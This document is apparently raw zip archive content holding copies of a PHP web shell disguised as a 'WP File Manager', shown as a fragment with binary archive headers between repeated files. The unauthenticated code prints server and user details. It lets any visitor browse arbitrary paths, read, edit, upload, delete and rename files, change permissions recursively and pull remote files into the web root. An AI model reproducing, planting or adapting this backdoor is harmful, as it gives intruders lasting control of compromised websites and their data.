'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëiliri@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëiliri@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
